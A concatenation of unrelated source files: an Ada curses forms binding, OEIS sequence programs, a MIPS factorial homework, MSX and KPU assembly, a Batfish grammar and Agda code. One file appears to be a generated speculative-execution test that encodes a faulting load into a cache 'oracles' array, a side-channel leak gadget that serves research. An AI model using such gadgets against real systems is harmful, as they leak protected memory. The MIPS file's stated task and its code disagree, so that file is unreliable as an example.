out Form) is function Free (Frm : Form) return C_Int; pragma Import (C, Free, "free_form"); Res : constant Eti_Error := Free (Frm); begin if Res /= E_Ok then Eti_Exception (Res); end if; Frm := Null_Form; end Delete; -- | -- |===================================================================== -- | man page form_opts.3x -- |===================================================================== -- | -- | -- | procedure Set_Options (Frm : Form; Options : Form_Option_Set) is function Set_Form_Opts (Frm : Form; Opt : C_Int) return C_Int; pragma Import (C, Set_Form_Opts, "set_form_opts"); Opt : constant C_Int := FrmOS_2_CInt (Options); Res : Eti_Error; begin Res := Set_Form_Opts (Frm, Opt); if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Options; -- | -- | -- | procedure Switch_Options (Frm : Form; Options : Form_Option_Set; On : Boolean := True) is function Form_Opts_On (Frm : Form; Opt : C_Int) return C_Int; pragma Import (C, Form_Opts_On, "form_opts_on"); function Form_Opts_Off (Frm : Form; Opt : C_Int) return C_Int; pragma Import (C, Form_Opts_Off, "form_opts_off"); Err : Eti_Error; Opt : constant C_Int := FrmOS_2_CInt (Options); begin if On then Err := Form_Opts_On (Frm, Opt); else Err := Form_Opts_Off (Frm, Opt); end if; if Err /= E_Ok then Eti_Exception (Err); end if; end Switch_Options; -- | -- | -- | procedure Get_Options (Frm : Form; Options : out Form_Option_Set) is function Form_Opts (Frm : Form) return C_Int; pragma Import (C, Form_Opts, "form_opts"); Res : constant C_Int := Form_Opts (Frm); begin Options := CInt_2_FrmOS (Res); end Get_Options; -- | -- | -- | function Get_Options (Frm : Form := Null_Form) return Form_Option_Set is Fos : Form_Option_Set; begin Get_Options (Frm, Fos); return Fos; end Get_Options; -- | -- |===================================================================== -- | man page form_post.3x -- |===================================================================== -- | -- | -- | procedure Post (Frm : Form; Post : Boolean := True) is function M_Post (Frm : Form) return C_Int; pragma Import (C, M_Post, "post_form"); function M_Unpost (Frm : Form) return C_Int; pragma Import (C, M_Unpost, "unpost_form"); Res : Eti_Error; begin if Post then Res := M_Post (Frm); else Res := M_Unpost (Frm); end if; if Res /= E_Ok then Eti_Exception (Res); end if; end Post; -- | -- |===================================================================== -- | man page form_cursor.3x -- |===================================================================== -- | -- | -- | procedure Position_Cursor (Frm : Form) is function Pos_Form_Cursor (Frm : Form) return C_Int; pragma Import (C, Pos_Form_Cursor, "pos_form_cursor"); Res : constant Eti_Error := Pos_Form_Cursor (Frm); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Position_Cursor; -- | -- |===================================================================== -- | man page form_data.3x -- |===================================================================== -- | -- | -- | function Data_Ahead (Frm : Form) return Boolean is function Ahead (Frm : Form) return C_Int; pragma Import (C, Ahead, "data_ahead"); Res : constant C_Int := Ahead (Frm); begin if Res = Curses_False then return False; else return True; end if; end Data_Ahead; -- | -- | -- | function Data_Behind (Frm : Form) return Boolean is function Behind (Frm : Form) return C_Int; pragma Import (C, Behind, "data_behind"); Res : constant C_Int := Behind (Frm); begin if Res = Curses_False then return False; else return True; end if; end Data_Behind; -- | -- |===================================================================== -- | man page form_driver.3x -- |===================================================================== -- | -- | -- | function Driver (Frm : Form; Key : Key_Code) return Driver_Result is function Frm_Driver (Frm : Form; Key : C_Int) return C_Int; pragma Import (C, Frm_Driver, "form_driver"); R : constant Eti_Error := Frm_Driver (Frm, C_Int (Key)); begin if R /= E_Ok then if R = E_Unknown_Command then return Unknown_Request; elsif R = E_Invalid_Field then return Invalid_Field; elsif R = E_Request_Denied then return Request_Denied; else Eti_Exception (R); return Form_Ok; end if; else return Form_Ok; end if; end Driver; -- | -- |===================================================================== -- | man page form_page.3x -- |===================================================================== -- | -- | -- | procedure Set_Current (Frm : Form; Fld : Field) is function Set_Current_Fld (Frm : Form; Fld : Field) return C_Int; pragma Import (C, Set_Current_Fld, "set_current_field"); Res : constant Eti_Error := Set_Current_Fld (Frm, Fld); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Current; -- | -- | -- | function Current (Frm : Form) return Field is function Current_Fld (Frm : Form) return Field; pragma Import (C, Current_Fld, "current_field"); Fld : constant Field := Current_Fld (Frm); begin if Fld = Null_Field then raise Form_Exception; end if; return Fld; end Current; -- | -- | -- | procedure Set_Page (Frm : Form; Page : Page_Number := Page_Number'First) is function Set_Frm_Page (Frm : Form; Pg : C_Int) return C_Int; pragma Import (C, Set_Frm_Page, "set_form_page"); Res : constant Eti_Error := Set_Frm_Page (Frm, C_Int (Page)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_Page; -- | -- | -- | function Page (Frm : Form) return Page_Number is function Get_Page (Frm : Form) return C_Int; pragma Import (C, Get_Page, "form_page"); P : constant C_Int := Get_Page (Frm); begin if P < 0 then raise Form_Exception; else return Page_Number (P); end if; end Page; function Get_Index (Fld : Field) return Positive is function Get_Fieldindex (Fld : Field) return C_Int; pragma Import (C, Get_Fieldindex, "field_index"); Res : constant C_Int := Get_Fieldindex (Fld); begin if Res = Curses_Err then raise Form_Exception; end if; return Positive (Natural (Res) + Positive'First); end Get_Index; -- | -- |===================================================================== -- | man page form_new_page.3x -- |===================================================================== -- | -- | -- | procedure Set_New_Page (Fld : Field; New_Page : Boolean := True) is function Set_Page (Fld : Field; Flg : C_Int) return C_Int; pragma Import (C, Set_Page, "set_new_page"); Res : constant Eti_Error := Set_Page (Fld, Boolean'Pos (New_Page)); begin if Res /= E_Ok then Eti_Exception (Res); end if; end Set_New_Page; -- | -- | -- | function Is_New_Page (Fld : Field) return Boolean is function Is_New (Fld : Field) return C_Int; pragma Import (C, Is_New, "new_page"); Res : constant C_Int := Is_New (Fld); begin if Res = Curses_False then return False; else return True; end if; end Is_New_Page; procedure Free (FA : in out Field_Array_Access; Free_Fields : Boolean := False) is procedure Release is new Ada.Unchecked_Deallocation (Field_Array, Field_Array_Access); begin if FA /= null and then Free_Fields then for I in FA'First .. (FA'Last - 1) loop if FA.all (I) /= Null_Field then Delete (FA.all (I)); end if; end loop; end if; Release (FA); end Free; -- |===================================================================== function Default_Field_Options return Field_Option_Set is begin return Get_Options (Null_Field); end Default_Field_Options; function Default_Form_Options return Form_Option_Set is begin return Get_Options (Null_Form); end Default_Form_Options; end Terminal_Interface.Curses.Forms;
oeis/168/A168609.asm
neoneye/loda-programs
11
91203
; A168609: a(n) = 3^n + 4. ; 5,7,13,31,85,247,733,2191,6565,19687,59053,177151,531445,1594327,4782973,14348911,43046725,129140167,387420493,1162261471,3486784405,10460353207,31381059613,94143178831,282429536485,847288609447,2541865828333,7625597484991,22876792454965,68630377364887,205891132094653,617673396283951,1853020188851845,5559060566555527,16677181699666573,50031545098999711,150094635296999125,450283905890997367,1350851717672992093,4052555153018976271,12157665459056928805,36472996377170786407,109418989131512359213 mov $1,3 pow $1,$0 add $1,4 mov $0,$1
oeis/072/A072264.asm
neoneye/loda-programs
11
102438
; A072264: a(n) = 3*a(n-1) + 5*a(n-2), with a(0)=1, a(1)=1. ; Submitted by <NAME>(s3.) ; 1,1,8,29,127,526,2213,9269,38872,162961,683243,2864534,12009817,50352121,211105448,885076949,3710758087,15557659006,65226767453,273468597389,1146539629432,4806961875241,20153583772883,84495560694854,354254600948977,1485241606321201,6226997823708488,26107201502731469,109456593626736847,458905788393867886,1924000333315287893,8066529941915203109,33819591492322048792,141791424186542161921,594472230021236729723,2492373810996420998774,10449482583095446644937,43810316804268444928681 sub $0,1 lpb $0 sub $0,1 add $1,1 mov $2,$3 mul $2,6 add $3,$1 add $2,$3 add $1,$2 lpe mov $0,$3 mul $0,7 add $0,1
HW1/Q2.asm
MXS11/Computer-organization
0
80350
# Q2.Assembly Language, Programming a Recursive Method in MIPS # Definition: In this question, you are asked to implement a recursive code assembly in MIPS ISA. # Your application should ask an X value from the console. Then it calculates the sum of all integer values between zero and x recursively. .data promptMsg: .asciiz "Enter a number: " resultMsg: .ascii "\nProssessing... \nThe factorial number is: " # Define the integers Num: .word 0 Result: .word 0 .text .globl main main: # Read the values given by the user li $v0, 4 la $a0, promptMsg syscall # The value given by the user will be stored in $v0 li $v0, 5 syscall # Store the value given by the user in the int Num sw $v0, Num # call factorial function and store the value after it's facotrized in Result lw $a0, Num jal FactorialFunc sw $v0, Result # Show the results li $v0, 4 la $a0, resultMsg syscall li $v0, 1 lw $a0, Result syscall # End the program li $v0, 10 syscall # Create FactorialFunc .globl FactorialFunc FactorialFunc: # Store the value of the address into the stack subu $sp, $sp, 8 sw $ra, ($sp) sw $s0, 4($sp) # Base case li $v0, 1 beq $a0, 0, factorialFinished # if the int is 0 go to factorialFinished # FactorialFun(Num - 1) move $s0, $a0 sub $a0, $a0, 1 jal FactorialFunc # Execute when the recursion is rewinding # it'll calculate the previous value($v0) multiplied by the local values and it'll be stored in ($v0) mul $v0, $s0, $v0 factorialFinished: lw $ra, ($sp) # restore the value of the reutrning address from the stack lw $s0, 4($sp) # load the value of the local veriable to the register addu $sp, $sp, 8 # in order to restore the stack we add the value 8 which was subtracted at the beginning of the code jr $ra # jump to the previous address
Assembler/AssemblyCode/LowLevel/POPF_MACRO.asm
KPU-RISC/KPU
8
11304
; Set register XL to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; Set register XH to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH MOV16 SP, X ; Set register D to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT D ; Set register E to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT E ; Perform a "SUB D, E" operation ; This sets the Zero flag to 1 MOV_ALU_IN A, E NOT MOV_ALU_C_TO_AB A SET B, "0001" ADD MOV_ALU_C_TO_AB B MOV_ALU_IN A, D ADD MOV_ALU_OUT D ; ==================== ; PUSHF implementation ; ==================== ; 1. Store the flags in the "FlagsOutBuffer" FLAGS_TO_OUTBUFFER ; 2. Store the flags from the "FlagsOutBuffer" onto the stack MOV16 M, SP STORE_FLAGS ; 3. Decrement the stack pointer by 1 ; 3.1. Set register XL to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 3.2. Set register XH to "11111111" SET A, "1111" SET B, "1111" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 3.3. Decrement the stack pointer MOV16 J, X MOV16 X, SP 16BIT_ADDER MOV16 SP, X ; ===================== ; Set register D to "00000100" SET A, "0000" SET B, "0100" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT D ; Set register E to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT E ; Perform a "SUB D, E" operation ; This sets the Zero flag to 1 MOV_ALU_IN A, E NOT MOV_ALU_C_TO_AB A SET B, "0001" ADD MOV_ALU_C_TO_AB B MOV_ALU_IN A, D ADD MOV_ALU_OUT D ; ==================== ; POPF implementation ; ==================== ; 1. Increment the stack pointer by 1 ; 1.1. Set register XL to "00000001" SET A, "0000" SET B, "0001" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XL ; 1.2. Set register XH to "00000000" SET A, "0000" SET B, "0000" SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A SHL MOV_ALU_C_TO_AB A OR MOV_ALU_OUT XH ; 1.3. Increment the stack pointer MOV16 J, X MOV16 X, SP 16BIT_ADDER MOV16 SP, X ; 2.1. Load the flags into the "FlagsInBuffer" register MOV16 M, SP LOAD_FLAGS ; 3.1. Move the content from the FlagsInBuffer" to the Flags register. ; The FLAGS register contains finally the value "110" INBUFFER_TO_FLAGS ; ========================= HLT
msx/apps/term/screen.asm
zoggins/yellow-msx-series-for-rc2014
19
163449
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; screen.s for MSX ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; 2006/11/26 t.hara ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SECTION _CODE ;; void Screen( unsigned char mode ); PUBLIC _Screen _Screen: xor a ld hl, 0xFAF5 ;; DPPAGE ld (hl), a inc hl ;; ACPAGE ld (hl), a ld hl, 2 add hl, sp ld a, (hl) ;; mode ld hl,0xFCAF ;; Save current mode to FCAF ld (hl),a push ix ld ix, 0x005f ;; chgmod on bios ld iy, (0xfcc0) ;; iyh <= (0xfcc1) : EXPTBL(MAIN-ROM SLOT) call 0x001c ;; CALSLT pop ix ret
tests/inputs/test_report_tests/test_misprediction_exception/test.asm
danielstumpp/tomasulo-simulator
0
11875
beq, R0, R0, 1 sd, R10, 1(R0) sd, R10, 4(R0)
projects/batfish/src/main/antlr4/org/batfish/grammar/cisco_xr/CiscoXr_vrf.g4
adiapel/batfish
1
2340
<reponame>adiapel/batfish parser grammar CiscoXr_vrf; import CiscoXr_common; options { tokenVocab = CiscoXrLexer; } s_vrf: VRF name = vrf_name NEWLINE vrf_inner*; vrf_inner : vrf_address_family | vrf_description | vrf_null ; vrf_address_family : ADDRESS_FAMILY ( IPV4 | IPV6 ) ( MULTICAST | UNICAST )? ( MAX_ROUTE uint_legacy )? NEWLINE vrf_af_inner* ; vrf_af_inner : vrf_af_export | vrf_af_import | vrf_af_null ; vrf_af_export : EXPORT vrf_af_export_inner ; vrf_af_export_inner : vrf_afe_route_policy | vrf_afe_route_target ; vrf_afe_route_policy : (TO vrf = vrf_name)? ROUTE_POLICY policy = route_policy_name NEWLINE ; vrf_afe_route_target : ROUTE_TARGET ( vrf_afe_route_target_value | NEWLINE vrf_afe_route_target_value* ) ; vrf_afe_route_target_value: route_target NEWLINE; vrf_af_import : IMPORT vrf_af_import_inner ; vrf_af_import_inner : vrf_afi_route_policy | vrf_afi_route_target ; vrf_afi_route_policy : (FROM vrf = vrf_name)? ROUTE_POLICY policy = route_policy_name NEWLINE ; vrf_afi_route_target : ROUTE_TARGET ( vrf_afi_route_target_value | NEWLINE vrf_afi_route_target_value* ) ; vrf_afi_route_target_value: route_target NEWLINE; vrf_af_null : NO? ( MAXIMUM ) null_rest_of_line ; vrf_description: description_line ; vrf_null : NO? ( MODE ) null_rest_of_line ;
Assembly/damage.asm
CaitSith2/Enemizer
2
172402
<reponame>CaitSith2/Enemizer CheckIfLinkShouldDie: ; before this we should have: ; LDA $7EF36D - this gets hooked, but we should have LDA at the end of it CMP $00 : BCC .dead SEC : SBC $00 BRA .done .dead LDA #$00 .done RTL
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1494.asm
ljhsiun2/medusa
9
163381
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rbp push %rcx push %rsi // Faulty Load lea addresses_RW+0x1f95d, %rsi nop nop nop nop xor %rbp, %rbp vmovups (%rsi), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rsi pop %rcx pop %rbp pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
programs/oeis/158/A158627.asm
neoneye/loda
22
169210
; A158627: a(n) = 484*n^2-22. ; 462,1914,4334,7722,12078,17402,23694,30954,39182,48378,58542,69674,81774,94842,108878,123882,139854,156794,174702,193578,213422,234234,256014,278762,302478,327162,352814,379434,407022,435578,465102,495594,527054,559482,592878,627242,662574,698874,736142,774378,813582,853754,894894,937002,980078,1024122,1069134,1115114,1162062,1209978,1258862,1308714,1359534,1411322,1464078,1517802,1572494,1628154,1684782,1742378,1800942,1860474,1920974,1982442,2044878,2108282,2172654,2237994,2304302,2371578,2439822,2509034,2579214,2650362,2722478,2795562,2869614,2944634,3020622,3097578,3175502,3254394,3334254,3415082,3496878,3579642,3663374,3748074,3833742,3920378,4007982,4096554,4186094,4276602,4368078,4460522,4553934,4648314,4743662,4839978 mov $1,2 add $1,$0 mul $1,$0 mul $1,484 add $1,462 mov $0,$1
programs/oeis/129/A129954.asm
neoneye/loda
22
29015
<filename>programs/oeis/129/A129954.asm ; A129954: Second differences of A129952. ; 1,3,6,14,32,72,160,352,768,1664,3584,7680,16384,34816,73728,155648,327680,688128,1441792,3014656,6291456,13107200,27262976,56623104,117440512,243269632,503316480,1040187392,2147483648,4429185024,9126805504,18790481920,38654705664,79456894976,163208757248,335007449088,687194767360,1408749273088,2886218022912,5909874999296,12094627905536,24739011624960,50577534877696,103354093010944,211106232532992,431008558088192,879609302220800,1794402976530432,3659174697238528,7459086882832384,15199648742375424,30962247438172160,63050394783186944,128352589380059136,261208778387488768,531424756029718528,1080863910568919040,2197756618156802048,4467570830351532032,9079256848778919936,18446744073709551616,37469948899722526720,76092819304051900416,154491481617317494784,313594649253062377472,636412670542979530752,1291272085159668613120,2619437658466756329472,5312662293228350865408,10772898539046378143744,21840944983272109113344,44272185776902923878400,89724963174523259060224,181811109590481340727296,368344585663832326668288,746133904293403943763968,1511157274518286468382720,3060093480899530098475008,6195744825524974520369152,12542605378501777687576576,25387442211907212668829696,51379347333621739925012480,103967620486858109024731136,210353092612945476398874624,425541888504349469496573952,860755183565615972390797312,1740853180245066011576893440,3520391986717800156744384512,7118155225890936580669964288,14391052956692545695702319104,29091590923206436460129419264,58802151866055563057708400640,118842243771396506390315925504,240160367621363773330430099456,485272495399869067760456695808,980448511114021177720106385408,1980704062856608439838598758400,4001022206970349048473969491968,8081272576454962434541482934272,16321001477938453544270053769216 mov $1,2 pow $1,$0 add $0,4 mul $1,$0 div $1,2 add $1,1 div $1,2 mov $0,$1
python_src/other/export/screen_6_4.asm
fjpena/sword-of-ianna-msx2
43
244207
org $0000 ; Object types OBJECT_NONE EQU 0 OBJECT_SWITCH EQU 1 OBJECT_DOOR EQU 2 OBJECT_DOOR_DESTROY EQU 3 OBJECT_FLOOR_DESTROY EQU 4 OBJECT_WALL_DESTROY EQU 5 OBJECT_BOX_LEFT EQU 6 OBJECT_BOX_RIGHT EQU 7 OBJECT_JAR EQU 8 OBJECT_TELEPORTER EQU 9 ; Pickable object types OBJECT_KEY_GREEN EQU 11 OBJECT_KEY_BLUE EQU 12 OBJECT_KEY_YELLOW EQU 13 OBJECT_BREAD EQU 14 OBJECT_MEAT EQU 15 OBJECT_HEALTH EQU 16 OBJECT_KEY_RED EQU 17 OBJECT_KEY_WHITE EQU 18 OBJECT_KEY_PURPLE EQU 19 ; Object types for enemies OBJECT_ENEMY_SKELETON EQU 20 OBJECT_ENEMY_ORC EQU 21 OBJECT_ENEMY_MUMMY EQU 22 OBJECT_ENEMY_TROLL EQU 23 OBJECT_ENEMY_ROCK EQU 24 OBJECT_ENEMY_KNIGHT EQU 25 OBJECT_ENEMY_DALGURAK EQU 26 OBJECT_ENEMY_GOLEM EQU 27 OBJECT_ENEMY_OGRE EQU 28 OBJECT_ENEMY_MINOTAUR EQU 29 OBJECT_ENEMY_DEMON EQU 30 OBJECT_ENEMY_SECONDARY EQU 31 Screen_6_4: DB 83, 169, 170, 169, 170, 169, 170, 169, 170, 169, 170, 169, 170, 169, 170, 80 DB 81, 0, 0, 146, 117, 118, 0, 0, 146, 0, 0, 0, 0, 0, 146, 82 DB 83, 118, 0, 147, 153, 154, 0, 0, 147, 0, 0, 117, 118, 0, 145, 80 DB 81, 20, 0, 0, 21, 20, 0, 144, 0, 0, 0, 21, 20, 0, 144, 80 DB 83, 0, 0, 0, 146, 66, 0, 0, 0, 0, 0, 144, 0, 0, 147, 82 DB 81, 118, 0, 0, 147, 66, 252, 0, 144, 146, 253, 0, 0, 0, 146, 22 DB 83, 20, 0, 0, 146, 37, 177, 145, 0, 147, 177, 180, 20, 0, 0, 23 DB 81, 0, 0, 117, 118, 66, 0, 0, 147, 0, 0, 18, 0, 0, 0, 23 DB 83, 118, 0, 153, 154, 66, 240, 241, 242, 243, 240, 18, 118, 0, 0, 24 DB 81, 20, 0, 153, 154, 14, 15, 15, 14, 15, 15, 14, 15, 15, 14, 15 HardScreen_6_4: DB 64, 0, 0, 1 DB 64, 0, 0, 1 DB 64, 0, 0, 1 DB 96, 160, 2, 129 DB 64, 0, 0, 1 DB 64, 0, 0, 1 DB 96, 0, 3, 129 DB 64, 16, 1, 1 DB 64, 16, 1, 1 DB 96, 21, 85, 85 Obj_6_4: DB 1 ; PLAYER DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY ENEMY DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY ENEMY DB 79, OBJECT_DOOR, 15, 5, 0, 66 DB 80, OBJECT_TELEPORTER, 15, 7, 0, 67 DB 99, OBJECT_JAR, 7, 8, 0, 63 DB 100, OBJECT_JAR, 9, 8, 0, 63 DB 101, OBJECT_JAR, 11, 6, 0, 36
programs/oeis/010/A010678.asm
neoneye/loda
22
82756
; A010678: Period 2: repeat (0,7). ; 0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0,7,0 mod $0,2 mul $0,7
src/Data/Maybe/Instance.agda
banacorn/FAM
0
14474
<gh_stars>0 module Data.Maybe.Instance where open import Category.FAM open import Data.Maybe open import Function using (_∘_; id) open import Relation.Binary.PropositionalEquality instance MaybeFunctor : ∀ {ℓ} → Functor {ℓ} Maybe MaybeFunctor {ℓ} = record { _<$>_ = map ; isFunctor = record { identity = identity ; homo = homo } } where identity : ∀ {A : Set ℓ} (a : Maybe A) → map id a ≡ a identity (just x) = refl identity nothing = refl homo : ∀ {A B C : Set ℓ} (f : B → C) (g : A → B) (a : Maybe A) → map (f ∘ g) a ≡ map f (map g a) homo _ _ (just x) = refl homo _ _ nothing = refl MaybeApplicative : ∀ {ℓ} → Applicative {ℓ} Maybe MaybeApplicative {ℓ} = record { pure = just ; _⊛_ = ap ; isApplicative = record { identity = identity ; compose = compose ; homo = λ _ _ → refl ; interchange = interchange } } where open ≡-Reasoning open import Function ap : {A B : Set ℓ} → Maybe (A → B) → Maybe A → Maybe B ap (just f) x = map f x ap nothing x = nothing identity : {A : Set ℓ} (x : Maybe A) → map id x ≡ x identity (just x) = refl identity nothing = refl compose : {A B C : Set ℓ} (fs : Maybe (B → C)) (gs : Maybe (A → B)) → (xs : Maybe A) → ap (ap (map _∘′_ fs) gs) xs ≡ ap fs (ap gs xs) compose {A} {B} {C} (just fs) (just gs) (just xs) = refl compose {A} {B} {C} (just fs) (just gs) nothing = refl compose {A} {B} {C} (just fs) nothing (just xs) = refl compose {A} {B} {C} (just fs) nothing nothing = refl compose {A} {B} {C} nothing (just gs) (just xs) = refl compose {A} {B} {C} nothing (just gs) nothing = refl compose {A} {B} {C} nothing nothing (just xs) = refl compose {A} {B} {C} nothing nothing nothing = refl interchange : {A B : Set ℓ} (fs : Maybe (A → B)) (x : A) → ap fs (just x) ≡ ap (just (λ f → f x)) fs interchange {A} {B} (just f) x = refl interchange {A} {B} nothing x = refl
test/Fail/Issue1523.agda
shlevy/agda
3
5441
<filename>test/Fail/Issue1523.agda -- Andreas, 2015-05-28 example by <NAME> open import Common.Size data Nat (i : Size) : Set where zero : ∀ (j : Size< i) → Nat i suc : ∀ (j : Size< i) → Nat j → Nat i {-# TERMINATING #-} -- This definition is fine, the termination checker is too strict at the moment. fix : ∀ {C : Size → Set} → (∀ i → (∀ (j : Size< i) → Nat j -> C j) → Nat i → C i) → ∀ i → Nat i → C i fix t i (zero j) = t i (λ (j : Size< i) → fix t j) (zero j) fix t i (suc j n) = t i (λ (j : Size< i) → fix t j) (suc j n) case : ∀ i {C : Set} (n : Nat i) (z : C) (s : ∀ (j : Size< i) → Nat j → C) → C case i (zero j) z s = z case i (suc j n) z s = s j n applyfix : ∀ {C : Size → Set} i (n : Nat i) → (∀ i → (∀ (j : Size< i) → Nat j -> C j) → Nat i → C i) → C i applyfix i n f = fix f i n module M (i0 : Size) (bot : ∀{i} → Nat i) (A : Set) (default : A) where loops : A loops = 